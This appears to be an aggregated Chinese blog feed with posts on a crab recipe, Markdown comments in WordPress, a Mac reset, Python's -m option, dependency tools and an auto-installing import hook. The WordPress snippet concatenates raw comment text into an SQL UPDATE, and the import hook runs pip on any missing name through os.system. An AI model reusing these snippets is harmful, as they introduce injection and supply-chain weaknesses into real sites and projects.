嗯,昨天貌似是个好日子,11月19日,这个新版博客上线2周年了,断更两月有余,也许大概自认为很忙,博客也就长了草了,至于忙些什么,鬼知道呢,反正浑浑噩噩一天就没了,晃晃悠悠一月又没了,只感叹这下半年的日子太短,时间太快。话说上次前同事兼朋友来松江耍已有月余,吃的“阳澄湖”的大闸蟹,着实没过瘾,一直嚷嚷着要来只帝王蟹。这不这周大家都有空,嫌我四两的大闸蟹太小,就定了只四斤的帝王蟹考验我的手艺。


平生还真第一次下厨做这玩意儿,百度了一下也没合适的教程,大部分都是清蒸完事。偶然看到一个用蟹壳蒸蛋的有点惊喜。好吧,没教程那就考研我的家常做法。既然蟹壳蒸蛋,那势必蟹壳蟹身要分开,蟹腿又是出肉大户,那就一蟹三烧。做之前,先把帝王蟹清洗干净,用牙刷将关节肚脐等处刷刷干净,记得带橡胶手套,这玩意儿扎手。清洗完成以后,将整只蟹蒸熟,上汽后蒸个五到八分钟就OK了。


蟹壳蒸蛋

将蒸熟的帝王蟹,整个后盖打开,清理边缘的蟹肉和壳内的黑皮。然后倒放在盘子中。注意看下蟹壳是否有破洞,如果有破洞可以弄些面粉沾水后堵上洞口,我这个就是没注意,导致后面的蛋液全流到盘子里了。准备三个土鸡蛋,加盐打匀,加点温开水,然后倒入蟹壳中,再剥一个蟹腿,将蟹腿肉剁碎放入蛋液中,然后来点蒜叶。最后放蒸锅,上汽后也蒸八分钟左右,就可以出锅了。我这个蛋液因为从蟹壳中漏了,否则成品应该更好看些。

QQ图片20191119211839.jpg

(图片为失败作品,仅供参考)

蒜蓉蟹腿

第一步,将蟹腿全部从关节处剪下来,然后从侧面剪开,去掉上半部分的壳,摆盘放好。第二步,炸蒜蓉,将蒜头切成碎末,记住,不能用捣蒜器捣烂,一定要用刀切。然后锅中放油,多倒一些,烧热,将一半蒜末放入锅中煸炒,放入一两个切碎的小米辣和切碎的嫩姜末,加蚝油,盐。炒至蒜末金黄色。然后关火,将另外一半蒜末倒入锅中,拌匀。成品就是金银蒜蓉。将蒜蓉倒到蟹腿上抹匀,撒上葱花,锅中再次放油,油开后淋到蒜蓉上,菜成。

QQ图片20191119211832.jpg

(葱花这么大很显然不是我的刀工)


红烧蟹身

蟹身部分,去掉腮和胃。从中间一分为二,然后从蟹腿之间的间隙剪开,最终将蟹身剪成块。红烧就简单了,下油,下姜蒜爆香,下蟹肉,大火爆炒,倒料酒,爆炒,来点水,下盐,蚝油,豆瓣酱,剁椒,大火翻炒,最后生抽鸡精起锅。(忘了拍照,渣渣手机,不拍也罢)


总结一下,一只四斤帝王蟹,有点大,食量不是很大的,最好有四五个人分享,一蟹三烧,蟹壳蒸蛋吃的是嫩,蒜蓉蟹腿吃的是鲜,红烧蟹肉吃的是味。蟹壳蒸蛋,注意看些蟹壳有没有破,蒜蓉蟹腿,蒜末炒一半留一半。红烧蟹肉主要是火候和调味的功底要到家。


by 西枫里 at November 20, 2019 01:35 PM

November 17, 2019

spiritx

WordPress评论支持Markdown

缘由

之前有过一篇记一次小站评论功能的修改,目的是为了防止xss攻击,当时我使用的评论 Markdown 解析器是 WP-Editor.md 插件,最近更新WP发现插件有冲突,遂禁用了它,换用代码实现,如果你和我一样使用的是同一款主题的话,commit 已提交,快去更新吧~

引入Markdown解析器

原理很简单,与 WP-Editor.md 类似,在评论提交时,首先检查评论的合法性,再将评论转换为 HTML 并写入数据库,同时,原 Markdown 评论也储存进数据库,为了这样,我在 wp_comments 里增加了一个字段 comment_markdown,在读取评论打印的时候,直接显示转换好的html,这样做有个好处就是不用每次都转换评论,节省了不少资源,同时,原格式的评论有一个存档,虽然增加了数据库的一点点体积,但我认为不错。
用到了下面这个程序

这里下载源码,我们所需要的是压缩包里面的 Parsedown.php ,将它放入主题目录的任一位置
functions.php 里面引入它:

...
include path/to/Parsedown.php
...

之后,就可以在想要使用的地方像下面这样来使用啦~

$Parsedown = new Parsedown();

echo $Parsedown->text('Hello _Parsedown_!'); # prints: <p>Hello <em>Parsedown</em>!</p>

转换评论

使用WP的 preprocess_comment 在评论写入数据库之前拦截它

function markdown_parser($incoming_comment) {
    global $comment_markdown_content;
    $comment_markdown_content = $incoming_comment['comment_content'];
    include 'path/to/Parsedown.php';
    $Parsedown = new Parsedown();
    $incoming_comment['comment_content'] = $Parsedown->text($incoming_comment['comment_content']);
    return $incoming_comment;
}
add_filter('preprocess_comment' , 'markdown_parser');

储存原评论

原评论也很重要,因为kses的关系,部分评论可能会被转义,这时候就需要原评论啦~

新建字段

global $wpdb;
$myCustomer = $wpdb->get_row("SELECT * FROM wp_comments");
if (!isset($myCustomer->comment_markdown)) {
    $wpdb->query("ALTER TABLE wp_comments ADD comment_markdown text NOT NULL AFTER comment_content");
}

存入数据

在之前我定义了一个全局变量 $comment_markdown_content,现在就要用到它啦,do_action("comment_post") ,写入数据库立即触发

//保存Markdown评论
function save_markdown_comment($comment_ID, $comment_approved) {
    global $wpdb,$comment_markdown_content;
    $comment = get_comment($comment_ID);
    $comment_content = $comment_markdown_content;
    $wpdb->query("UPDATE wp_comments SET comment_markdown='".$comment_content."' WHERE comment_ID='".$comment_ID."';");
}
add_action('comment_post', 'save_markdown_comment', 10, 2);

打开评论HTML标签限制

为了安全,除管理员外wp的评论都会经过kese,甚至有时候管理员的评论也会过滤,这就需要我们来打开这个限制

function allow_more_tag_in_comment() {
    global $allowedtags;
    $allowedtags['pre'] = array('class'=>array());
    $allowedtags['code'] = array('class'=>array());
    $allowedtags['h1'] = array('class'=>array());
    $allowedtags['h2'] = array('class'=>array());
    $allowedtags['h3'] = array('class'=>array());
    $allowedtags['h4'] = array('class'=>array());
    $allowedtags['h5'] = array('class'=>array());
    $allowedtags['ul'] = array('class'=>array());
    $allowedtags['ol'] = array('class'=>array());
    $allowedtags['li'] = array('class'=>array());
    $allowedtags['td'] = array('class'=>array());
    $allowedtags['th'] = array('class'=>array());
    $allowedtags['tr'] = array('class'=>array());
    $allowedtags['table'] = array('class'=>array());
    $allowedtags['thead'] = array('class'=>array());
    $allowedtags['tbody'] = array('class'=>array());
    $allowedtags['span'] = array('class'=>array());
}
add_action('pre_comment_on_post', 'allow_more_tag_in_comment');

为了更加安全,可以更进一步

...
$allowedtags['pre'] = array(
    'class' => true,
    'id' => true,
);
$allowedtags['code'] = array(
    'class' => true,
);
...

或者采用我的方法,直接禁止HTML代码

后记

大功告成啦,这次修改又学到了好多东西,后续我可能会把前端的评论给改了,加个编辑器

by Spirit at November 17, 2019 12:09 PM

November 11, 2019

chengweiyang

MacBook Air 升级到 Catalina 之后休眠不能恢复点亮

最近发现 MacOS 发布了 catalina,把自己的 14 款 MacBook Air 升到了最新的 10.15.1, 为此还清理了一下硬盘,升级的空间已经不够了。

升级后,看起来一切安好,却不知道有一个严重问题,只是平常在家里用的时候没有发现。

这个问题是这样子的,盖下显示屏电脑休眠后,在很短的时间内,重新抬起显示屏,电脑会不能点亮, 过几分钟会弹出一个多语言的对话框,提示电脑发生错误,需要重启。

之前在家里之所以没有发现,是因为没有频繁盖下抬起显示屏的情况,而在公司就不一样了,从工位盖下, 到了会议室抬起,发现点不亮,懵了。

打了苹果支持电话后,对电脑施展了魔法:

  1. 关机
  2. 按 shift + control + option + 电源键 10 秒以上,然后松开
  3. 按 option + command + P + R 键 20 秒以上,然后松开
  4. 开机

执行上面的步骤后,果然就没有问题了,而且感觉整个老电脑都换发了第二春。

到底是什么魔法?我也不敢问,也不敢说。

November 11, 2019 04:00 PM

November 10, 2019

pythoncat

Python 中 -m 的典型用法、原理解析与发展演变

在命令行中使用 Python 时,它可以接收大约 20 个选项(option),语法格式如下:
python [-bBdEhiIOqsSuvVWx?] [-c command | -m module-name | script | - ] [args]
本文想要聊聊比较特殊的“-m”选项:关于它的典型用法、原理解析与发展演变的过程。
首先,让我们用“—help”来看看它的解释:

-m mod run library module as a script (terminates option list)

“mod”是“module”的缩写,即“-m”选项后面的内容是 module(模块),其作用是把模块当成脚本来运行。
“terminates option list”意味着“-m”之后的其它选项不起作用,在这点上它跟“-c”是一样的,都是“终极选项”。官方把它们定义为“接口选项”(Interface options),需要区别于其它的普通选项或通用选项。

-m 选项的五个典型用法

Python 中有很多使用 -m 选项的场景,相信大家可能会用到或者看见过,我在这里想分享 5 个。
在 Python3 中,只需一行命令就能实现一个简单的 HTTP 服务:
python -m http.server 8000

# 注:在 Python2 中是这样
python -m SimpleHTTPServer 8000
与此类似,我们只需要一行命令“python -m pydoc -p xxx”,就能生成 HTML 格式的官方帮助文档,可以在浏览器中访问。
上面的命令执行了 pydoc 模块,会在 9000 端口启动一个 http 服务,在浏览器中打开,我的结果如下:
它的第三个常见用法是执行 pdb 的调试命令“python -m pdb xxx.py”,以调试模式来执行“xxx.py”脚本:
第四个同样挺有用的场景是用 timeit 在命令行中测试一小段代码的运行时间。以下的 3 段代码,用不同的方式拼接 “0-1-2-……-99” 数字串。可以直观地看出它们的效率差异:
最后,还有一种常常被人忽略的场景:“python -m pip install xxx”。我们可能会习惯性地使用“pip install xxx”,或者做了版本区分时用“pip3 install xxx”,总之不在前面用“python -m”做指定。但这种写法可能会出问题。
很巧合的是,在本月初(2019.11.01),Python 的核心开发者、第一届指导委员会 五人成员之一的 Brett Cannon 专门写了一篇博客《Why you should use “python -m pip” 》,提出应该使用“python -m pip”的方式,并做了详细的解释。
他的主要观点是:在存在多个 Python 版本的环境中,这种写法可以精确地控制三方库的安装位置。例如用“python3.8 -m pip”,可以明确指定给 3.8 版本安装,而不会混淆成其它的版本。
(延伸阅读:关于 Brett 的文章,这有一篇简短的归纳《原来我一直安装 Python 库的姿势都不对呀!》)

-m 选项的两种原理解析

看了前面的几种典型用法,你是否开始好奇:“-m”是怎么运作的?它是怎么实现的?
对于“python -m name”,一句话解释:Python 会检索sys.path ,查找名字为“name”的模块或者包(含命名空间包),并将其内容当成“__main__”模块来执行。

1、对于普通模块

以“.py”为后缀的文件就是一个模块,在“-m”之后使用时,只需要使用模块名,不需要写出后缀,但前提是该模块名是有效的,且不能是用 C 语言写成的模块。
在“-m”之后,如果是一个无效的模块名,则会报错“No module named xxx”。
如果是一个带后缀的模块,则首先会导入该模块,然后可能报错:Error while finding module specification for ‘xxx.py’ (AttributeError: module ‘xxx’ has no attribute ‘__path__‘。
对于一个普通模块,有时候这两种写法表面看起来是等效的:
两种写法都会把定位到的模块脚本当成主程序入口来执行,即在执行时,该脚本的__name__ 都是”__main__“,跟 import 导入方式是不同的。
但它的前提是:在执行目录中存在着“test.py”,且只有唯一的“test”模块。对于本例,如果换一个目录执行的话,“python test.py”当然会报找不到文件的错误,然而,“python -m test”却不会报错,因为解释器在遍历sys.path 时可以找到同名的“test”模块,并且执行:
由此差异,我们其实可以总结出“-m”的用法:已知一个模块的名字,但不知道它的文件路径,那么使用“-m”就意味着交给解释器自行查找,若找到,则当成脚本执行。
以前文的“python -m http.server 8000”为例,我们也可以找到“server”模块的绝对路径,然后执行,尽管这样会变得很麻烦。
那么,“-m”方式与直接运行脚本相比,在实现上有什么不同呢?
  • 直接运行脚本时,相当于给出了脚本的完整路径(不管是绝对路径还是相对路径),解释器根据文件系统的查找机制, 定位到该脚本,然后执行
  • 使用“-m”方式时,解释器需要在不 import 的情况下,在所有模块命名空间 中查找,定位到脚本的路径,然后执行。为了实现这个过程,解释器会借助两个模块:pkgutilrunpy ,前者用来获取所有的模块列表,后者根据模块名来定位并执行脚本

2、对于包内模块

如果“-m”之后要执行的是一个包,那么解释器经过前面提到的查找过程,先定位到该包,然后会去执行它的“__main__”子模块,也就是说,在包目录下需要实现一个“__main__.py”文件。
换句话说,假设有个包的名称是“pname”,那么,“python -m pname”,其实就等效于“python -m pname.__main__”。
仍以前文创建 HTTP 服务为例,“http”是 Python 内置的一个包,它没有“__main__.py”文件,所以使用“-m”方式执行时,就会报错:No module named http.__main__; ‘http’ is a package and cannot be directly executed。
作为对比,我们可以看看前文提到的 pip,它也是一个包,为什么“python -m pip”的方式可以使用呢?当然是因为它有“__main__.py”文件:
“python -m pip”实际上执行的就是这个“__main__.py”文件,它主要作为一个调用入口,调用了核心的”pip._internal.main”。
http 包因为没有一个统一的入口模块,所以采用了“python -m 包.模块”的方式,而 pip 包因为有统一的入口模块,所以加了一个“__main__.py”文件,最后只需要写“python -m 包”,简明直观。

-m 选项的十年演变过程

最早引入 -m 选项的是 Python 2.4 版本(2004年),当时功能还挺受限,只能作用于普通的内置模块(如 pdb 和 profile)。
随后,知名开发者 Nick Coghlan 提出的《PEP 338 — Executing modules as scripts》把它的功能提升了一个台阶。这个 PEP 在 2004 年提出,最终实现在 2006 年的 2.5 版本。
(插个题外话:Nick Coghlan 是核心开发者中的核心之一,也是第一届指导委员会的五人成员之一。记得当初看材料,他是在 2005 年被选为核心开发者的,这时间与 PEP-338 的时间紧密贴合)
这个 PEP 的几个核心点是:
  • 结合了 PEP-302 的新探针机制(new import hooks),提升了解释器查找包内模块的能力

  • 结合了其它的导入机制(例如zipimport 和冻结模块(frozen modules)),拓展了解释器查找模块的范围与精度

  • 开发了新的runpy.run_module(modulename) 来实现本功能,而不用修改 CPython 解释器,如此可方便移植到其它解释器

至此,-m 选项使得 Python 可以在所有的命名空间内定位到命令行中给定的模块。
2009 年,在 Python 3.1 版本中,只需给定包的名称,就能定位和运行它的“__main__”子模块。2014 年,-m 扩展到支持命名空间包。
至此,经过十年的发展演变,-m 选项变得功能齐全,羽翼丰满。
最后,我们来个 ending 吧:-m 选项可能看似不起眼,但它绝对是最特别的选项之一,它使得在命令行中,使用内置模块、标准包与三方库时变得更轻松便利。有机会就多用一下吧,体会它带来的愉悦体验。
参考材料

November 10, 2019 12:00 AM

November 02, 2019

pythoncat

Python 依赖库管理哪家强?pip、pipreqs、pigar、pip-tools、pipdeptree 任君挑选

在 Python 的项目中,如何管理所用的全部依赖库呢?最主流的做法是维护一份“requirements.txt”,记录下依赖库的名字及其版本号。
那么,如何来生成这份文件呢?在上篇文章《由浅入深:Python 中如何实现自动导入缺失的库?》中,我提到了一种常规的方法:
pip freeze > requirements.txt
这种方法用起来方便,但有几点不足:
  • 它搜索依赖库的范围是全局环境,因此会把项目之外的库加入进来,造成冗余(一般是在虚拟环境中使用,但还是可能包含无关的依赖库)
  • 它只会记录以“pip install”方式安装的库
  • 它对依赖库之间的依赖关系不做区分
  • 它无法判断版本差异及循环依赖等情况
  • …………
可用于项目依赖管理的工具有很多,本文主要围绕与 requirements.txt 文件相关的、比较相似却又各具特色的 4 个三方库,简要介绍它们的使用方法,罗列一些显著的功能点。至于哪个是最好的管理方案呢?卖个关子,请往下看……

pipreqs

这是个很受欢迎的用于管理项目中依赖库的工具,可以用“pip install pipreqs”命令来安装。它的主要特点有:
  • 搜索依赖库的范围是基于目录的方式,很有针对性
  • 搜索的依据是脚本中所 import 的内容
  • 可以在未安装依赖库的环境上生成依赖文件
  • 查找软件包信息时,可以指定查询方式(只在本地查询、在 PyPi 查询、或者在自定义的 PyPi 服务)
基本的命令选项如下:
Usage:
    pipreqs [options] <path>

Options:
    --use-local           Use ONLY local package info instead of querying PyPI
    --pypi-server <url>   Use custom PyPi server
    --proxy <url>         Use Proxy, parameter will be passed to requests library. You can also just set the
                          environments parameter in your terminal:
                          $ export HTTP_PROXY="http://10.10.1.10:3128"
                          $ export HTTPS_PROXY="https://10.10.1.10:1080"
    --debug               Print debug information
    --ignore <dirs>...    Ignore extra directories
    --encoding <charset>  Use encoding parameter for file open
    --savepath <file>     Save the list of requirements in the given file
    --print               Output the list of requirements in the standard output
    --force               Overwrite existing requirements.txt
    --diff <file>         Compare modules in requirements.txt to project imports.
    --clean <file>        Clean up requirements.txt by removing modules that are not imported in project.
其中需注意,很可能遇到编码错误:UnicodeDecodeError: 'gbk' codec can't decode byte 0xae in 。需要指定编码格式“—encoding=utf8”。
在已生成依赖文件“requirements.txt”的情况下,它可以强行覆盖、比对差异以及清除不再使用的依赖项。

pigar

pigar 同样可以根据项目路径来生成依赖文件,而且会列出依赖库在文件中哪些位置使用到了。这个功能充分利用了 requirements.txt 文件中的注释,可以提供很丰富的信息。
pigar 对于查询真实的导入源很有帮助,例如bs4 模块来自beautifulsoup4 库,MySQLdb 则来自于MySQL_Python 库。可以通过“-s”参数,查找真实的依赖库。
$ pigar -s bs4 MySQLdb
它使用解析 AST 的方式,而非正则表达式的方式,可以很方便地从 exec/eval 的参数、文档字符串的文档测试中提取出依赖库。
另外,它对于不同 Python 版本的差异可以很好地支持。例如,concurrent.futures 是 Python 3.2+ 的标准库,而在之前早期版本中,需要安装三方库futures ,才能使用它。pigar 做到了有效地识别区分。(PS:pipreqs 也支持这个识别,详见这个合入:https://github.com/bndr/pipreqs/pull/80

pip-tools

pip-tools 包含一组管理项目依赖的工具:pip-compile 与 pip-sync,可以使用命令“pip install pip-tools”统一安装。它最大的优势是可以精准地控制项目的依赖库。
两个工具的用途及关系图如下:
pip-compile 命令主要用于生成依赖文件和升级依赖库,另外它可以支持 pip 的“Hash-Checking Mode ”,并支持在一个依赖文件中嵌套其它的依赖文件(例如,在 requirements.in 文件内,可以用“-c requirements.txt”方式,引入一个依赖文件)。
它可以根据 setup.py 文件来生成 requirements.txt,假如一个 Flask 项目的 setup.py 文件中写了“install_requires=[‘Flask’]”,那么可以用命令来生成它的所有依赖:
$ pip-compile
#
# This file is autogenerated by pip-compile
# To update, run:
#
#    pip-compile --output-file requirements.txt setup.py
#
click==6.7                # via flask
flask==0.12.2
itsdangerous==0.24        # via flask
jinja2==2.9.6             # via flask
markupsafe==1.0           # via jinja2
werkzeug==0.12.2          # via flask
在不使用 setup.py 文件的情况下,可以创建“requirements.in”,在里面写入“Flask”,再执行“pip-compile requirements.in”,可以达到跟前面一样的效果。
pip-sync 命令可以根据 requirements.txt 文件,来对虚拟环境中进行安装、升级或卸载依赖库(注意:除了 setuptools、pip 和 pip-tools 之外)。这样可以有针对性且按需精简地管理虚拟环境中的依赖库。
另外,该命令可以将多个“*.txt”依赖文件归并成一个:
$ pip-sync dev-requirements.txt requirements.txt

pipdeptree

它的主要用途是展示 Python 项目的依赖树,通过有层次的缩进格式,显示它们的依赖关系,不像前面那些工具只会生成扁平的并列关系。
除此之外,它还可以:
  • 生成普遍适用的 requirements.txt 文件
  • 逆向查找某个依赖库是怎么引入进来的
  • 提示出相互冲突的依赖库
  • 可以发现循环依赖,进行告警
  • 生成多种格式的依赖树文件(json、graph、pdf、png等等)
它也有缺点,比如无法穿透虚拟环境。如果要在虚拟环境中工作,必须在该虚拟环境中安装 pipdeptree。因为跨虚拟环境会出现重复或冲突等情况,因此需要限定虚拟环境。但是每个虚拟环境都安装一个 pipdeptree,还是挺让人难受的。
好啦,4 种库介绍完毕,它们的核心功能都是分析依赖库,生成 requirements.txt 文件,同时,它们又具有一些差异,补齐了传统的 pip 的某些不足。
本文不对它们作全面的测评,只是选取了一些主要特性进行介绍,好在它们安装方便(pip install xxx),使用也简单,感兴趣的同学不妨一试。
更多丰富的细节,请查阅官方文档:

November 02, 2019 12:00 AM

October 28, 2019

pythoncat

由浅入深:Python 中如何实现自动导入缺失的库?

在写 Python 项目的时候,我们可能经常会遇到导入模块失败的错误:ImportError: No module named 'xxx' 或者 ModuleNotFoundError: No module named 'xxx'
导入失败问题,通常分为两种:一种是导入自己写的模块(即以 .py 为后缀的文件),另一种是导入三方库。本文主要讨论第二种情况,今后有机会,我们再详细讨论其它的相关话题。
解决导入 Python 库失败的问题,其实关键是在运行环境中装上缺失的库(注意是否是虚拟环境),或者使用恰当的替代方案。这个问题又分为三种情况:

一、单个模块中缺失的库

在编写代码的时候,如果我们需要使用某个三方库(如 requests),但不确定实际运行的环境是否装了它,那么可以这样写:
try:
    import requests
except ImportError:
    import os
    os.system('pip install requests')
    import requests
这样写的效果是,如果找不到 requests 库,就先安装,再导入。
在某些开源项目中,我们可能还会看到如下的写法(以 json 为例):
try:
    import simplejson as json
except ImportError:
    import json
这样写的效果是,优先导入三方库 simplejson,如果找不到,那就使用内置的标准库 json。
这种写法的好处是不需要导入额外的库,但它有个缺点,即需要保证那两个库在使用上是兼容的,如果在标准库中找不到替代的库,那就不可行了。
如果真找不到兼容的标准库,也可以自己写一个模块(如 my_json.py),实现想要的东西,然后在 except 语句中再导入它。
try:
    import simplejson as json
except ImportError:
    import my_json as json

二、整个项目中缺失的库

以上的思路是针对开发中的项目,但是它有几个不足:1、在代码中对每个可能缺失的三方库都 pip install,并不可取;2、某个三方库无法被标准库或自己手写的库替代,该怎么办?3、已成型的项目,不允许做这些修改怎么办?
所以这里的问题是:有一个项目,想要部署到新的机器上,它涉及很多三方库,但是机器上都没有预装,该怎么办?
对于一个合规的项目,按照约定,通常它会包含一个“requirements.txt ”文件,记录了该项目的所有依赖库及其所需的版本号。这是在项目发布前,使用命令pip freeze > requirements.txt 生成的。
使用命令pip install -r requirements.txt (在该文件所在目录执行,或在命令中写全文件的路径),就能自动把所有的依赖库给装上。
但是,如果项目不合规,或者由于其它倒霉的原因,我们没有这样的文件,又该如何是好?
一个笨方法就是,把项目跑起来,等它出错,遇到一个导库失败,就手动装一个,然后再跑一遍项目,遇到导库失败就装一下,如此循环……(此处省略 1 万句脏话)……

三、自动导入任意缺失的库

有没有一种更好的可以自动导入缺失的库的方法呢?
在不修改原有的代码的情况下,在不需要“requirements.txt”文件的情况下,有没有办法自动导入所需要的库呢?
当然有!先看看效果:
我们以 tornado 为例,第一步操作可看出,我们没有装过 tornado,经过第二步操作后,再次导入 tornado 时,程序会帮我们自动下载并安装好 tornado,所以不再报错。
autoinstall 是我们手写的模块,代码如下:
# 以下代码在 python 3.6.1 版本验证通过
import sys
import os
from importlib import import_module


class AutoInstall():
    _loaded = set()

    @classmethod
    def find_spec(cls, name, path, target=None):
            if path is None and name not in cls._loaded:
                cls._loaded.add(name)
                print("Installing", name)
                try:
                    result = os.system('pip install {}'.format(name))
                    if result == 0:
                        return import_module(name)
                except Exception as e:
                    print("Failed", e)
            return None

sys.meta_path.append(AutoInstall)
这段代码中使用了sys.meta_path ,我们先打印一下,看看它是个什么东西?
Python 3 的 import 机制在查找过程中,大致顺序如下:
  • 在 sys.modules 中查找,它缓存了所有已导入的模块
  • 在 sys.meta_path 中查找,它支持自定义的加载器
  • 在 sys.path 中查找,它记录了一些库所在的目录名
  • 若未找到,则抛出 ImportError 异常
其中要注意,sys.meta_path 在不同的 Python 版本中有所差异,比如它在 Python 2 与 Python 3 中差异很大;在较新的 Python 3 版本(3.4+)中,自定义的加载器需要实现find_spec 方法,而早期的版本用的则是find_module
以上代码是一个自定义的类库加载器 AutoInstall,可以实现自动导入三方库的目的。需要说明一下,这种方法会“劫持”所有新导入的库,破坏原有的导入方式,因此也可能出现一些奇奇怪怪的问题,敬请留意。
sys.meta_path 属于 Python 探针的一种运用。探针,即import hook,是 Python 几乎不受人关注的机制,但它可以做很多事,例如加载网络上的库、在导入模块时对模块进行修改、自动安装缺失库、上传审计信息、延迟加载等等。
限于篇幅,我们不再详细展开了。最后小结一下:
  • 可以用 try…except 方式,实现简单的三方库导入或者替换
  • 已知全部缺失的依赖库时(如 requirements.txt),可以手动安装
  • 利用 sys.meta_path,可以自动导入任意的缺失库
参考资料:

October 28, 2019 12:00 AM

October 24, 2019

pythoncat

[译]PEP 3099--Python 3 中不会改变的事情

导语: Python 3.8 已经发布了,引进了不少变更点。关于 3.9 预计引入的修改,也披露了一些。我们之前还关注过 GIL 的移除计划Guido 正在开发的新解析器 等话题,这意味 Python 很有活力,仍在健康地发展着。
Python 3 是比较大胆激进的,抛弃了前一版本的很多陈旧的包袱,但同时,它也是相对克制的(一直如此),社区里提出的很多提议都被否决了。前不久,我分享的Python 设计和历史的 27 个问题 提到了一些沉淀下来的设计问题,今天这篇译文则聚焦于官方明确否决掉的 24 个设计问题。
大部分问题都是细枝末节(例如大小写、括号、反引号、行宽等等),但细究起来的话,也会挺有意思,欢迎留言讨论。

PEP原文: https://www.python.org/dev/peps/pep-0399 PEP标题: Things that will Not Change in Python 3000 PEP作者: Georg Brandl 创建日期: 2006-04-04 译者豌豆花下猫Python猫 公众号作者) 翻译计划https://github.com/chinesehuazhou/peps-cn

目录

  • 概要
  • 语言核心
  • 内置对象
  • 标准类型
  • 编码风格
  • 交互式解释器
  • 版权

概要

有些想法很糟糕。尽管关于 Python 演化的某些想法具有建设性,但不少想法却与 Python 的基本原则背道而驰,就像是让人围着圈跑步:哪也去不了,即使 Python 3000 允许提出特别的建议,也不管用。
此 PEP 尝试列出 Python 3000 上所有的 BDFL 决断,涉及那些不会发生更改的内容,以及不会引入的新功能,按主题排序,附加简短的说明或者 python-3000 邮件列表的相关线索。
如果你认为应该实现下面所列举的提议,那你最好立即离开计算机,出门去,尽情娱乐。去户外活动,在草地上打盹,都比提出一个“殴打一匹死马”的想法来得有建设性。这算是对你的警告(译注:下面的主意是不会实现的,不要试图改变这些已经是板上钉钉的决断)。

语言核心

  • Python 3000 不会区分大小写。

  • Python 3000 不会从头开始重写。

不会使用 C++ 或其它不同于 C 的语言作为实现语言。但是,代码库将逐渐迁移。Joel Spolsky 有一篇出色的文章解释了原因:http://www.joelonsoftware.com/articles/fog0000000069.html

  • self 不会变成隐式的。

使用显式的 self 是一个好事。消除解析变量时的歧义,可以使得代码更清晰。这还使得函数和方法之间的差异变小。

邮件:“提议草案:Python 3.0 使用隐式的 self” https://mail.python.org/pipermail/python-dev/2006-January/059468.html

  • lambda 不会被改名。

曾经有过提议,在 Python 3000 中移除 lambda。然而,没人能够提出更好的提供匿名函数的方法。所以 lambda 保留了下来。

但只是说要保持原样。(有人提议)增加它对语句的支持,但这不是一个好想法。因为它需要允许多行 lambda 表达式,这意味着多行表达式可能突然出现,例如,将会允许对函数调用使用多行参数。那真是丑陋。

邮件:“genexp 语法/lambda”,https://mail.python.org/pipermail/python-3000/2006-April/001042.html

  • Python 不会添加可编程的语法。

邮件:“是一个声明!是一个函数!两者皆是!” https://mail.python.org/pipermail/python-3000/2006-April/000286.html

  • 不会有类似 zip() 的并行迭代语法。

邮件:“并行迭代语法”,https://mail.python.org/pipermail/python-3000/2006-March/000210.html

  • 字符串将保持可迭代。

邮件:“使字符串不可迭代”,https://mail.python.org/pipermail/python-3000/2006-April/000759.html

  • 不会有对生成器表达式或列表推导式的结果进行排序的语法。sorted() 将涵盖所有的使用情况。

邮件:“为生成器表达式添加排序”,https://mail.python.org/pipermail/python-3000/2006-April/001295.html

  • 切片和扩展型切片不会取消(即使__getslice__和__setslice__ API 可能被替换),它们也不会返回标准对象类型的视图。

邮件:切片的未来https://mail.python.org/pipermail/python-3000/2006-May/001563.html

  • 不会禁止在循环结构内重用循环变量。

邮件:消除迭代变量的作用域出血(scope bleeding)https://mail.python.org/pipermail/python-dev/2006-May/064761.html

  • 解析器不会比 LL(1) 更复杂。

简单胜于复杂。这个想法适用于解析器。将 Python 的语法限制为 LL(1) 解析器是一种好处,而不是诅咒。它使我们带上手铐,不至于发展过度,不至于最终得到些时髦的语法规则,像一些走向无名的动态语言那样,例如 Perl。

  • 不会有括号。

这太明显了,以至于不需要引用邮件列表。使用from __future__ import braces ,你就会得到关于这个问题的明确答案。

  • 不会再有反引号。

反引号(`)将不再用作 repr 的简写——但这并不意味着它们可用于其它用途。即使忽略向后兼容性的混乱,这字符本身也会引起太多问题(在某些字体、某些键盘上、在排版书籍时,等等)。

邮件:“使用反引号作为新运算符”,https://mail.python.org/pipermail/python-ideas/2007-January/000054.html

  • 引用全局变量名 foo 不会被拼写为 globals.foo。global 语句会保留

邮件:“用全局内置对象替换 globals() 和 global 语句”,https://mail.python.org/pipermail/python-3000/2006-July/002485.html ,“显式词法作用域(pre-PEP?) ”,https://mail.python.org/pipermail/python-dev/2006-July/067111.html

  • 不会有替代的绑定操作符,例如 := 。

邮件:“显式词法作用域(pre-PEP?)”,https://mail.python.org/pipermail/python-dev/2006-July/066995.html

  • 我们不会删除容器字面量。也就是说,{expr:expr, …},[expr, …] 和(expr, …)将保留。

邮件:“去除容器字面量”,https://mail.python.org/pipermail/python-3000/2006-July/002550.html

  • while 和 for 循环中的 else 子句不会更改语义,也不会被删除。

邮件:“ for/except/else 语法” https://mail.python.org/pipermail/python-ideas/2009-October/006083.html

内置对象

  • zip() 不会增加关键字参数或其它机制来防止它在最短序列的末尾停止。

邮件:“对于不同长度的序列,令 zip() 引发异常”,https://mail.python.org/pipermail/python-3000/2006-August/003338.html

  • hash() 不会成为属性,因为属性应该是易于计算的,但哈希并不一定是这种情况。

邮件:“哈希作为属性/特性”,https://mail.python.org/pipermail/python-3000/2006-April/000362.html

标准类型

  • 遍历字典将继续返回 key。

邮件:“遍历字典”,https://mail.python.org/pipermail/python-3000/2006-April/000283.html

邮件:让 iter(mapping) 生成 (key, value) 对https://mail.python.org/pipermail/python-3000/2006-June/002368.html

  • 不会有 frozenlist 类型。

邮件:“不可变的列表”,https://mail.python.org/pipermail/python-3000/2006-May/002219.html

  • int 不会支持下标来生成 range。

邮件:“ xrange vs.int .__ getslice__”,https://mail.python.org/pipermail/python-3000/2006-June/002450.html

编码风格

  • 对于 C 和 Python 代码,(推荐的)最大行宽将保持 80 个字符。

邮件:“ C 风格指南”,https://mail.python.org/pipermail/python-3000/2006-March/000131.html

交互式解释器

  • 解释器提示(>>>)不会改变。它给 Guido 带来温暖的模糊感觉。

邮件:“低垂的果实:更改解释器的提示?”,https://mail.python.org/pipermail/python-3000/2006-November/004891.html

版权

本文档已放置在公共领域。源文档: https://github.com/python/peps/blob/master/pep-3099.txt

译者注

文中出现的“邮件”,原文是“thread”,英文解释应该是:a series of connected messages on a message board on the Internet which have been sent by different people。实际指的是“邮件列表中的议题”,为简洁起见,省译为“邮件”。

October 24, 2019 12:00 AM

October 14, 2019

pythoncat

硬币

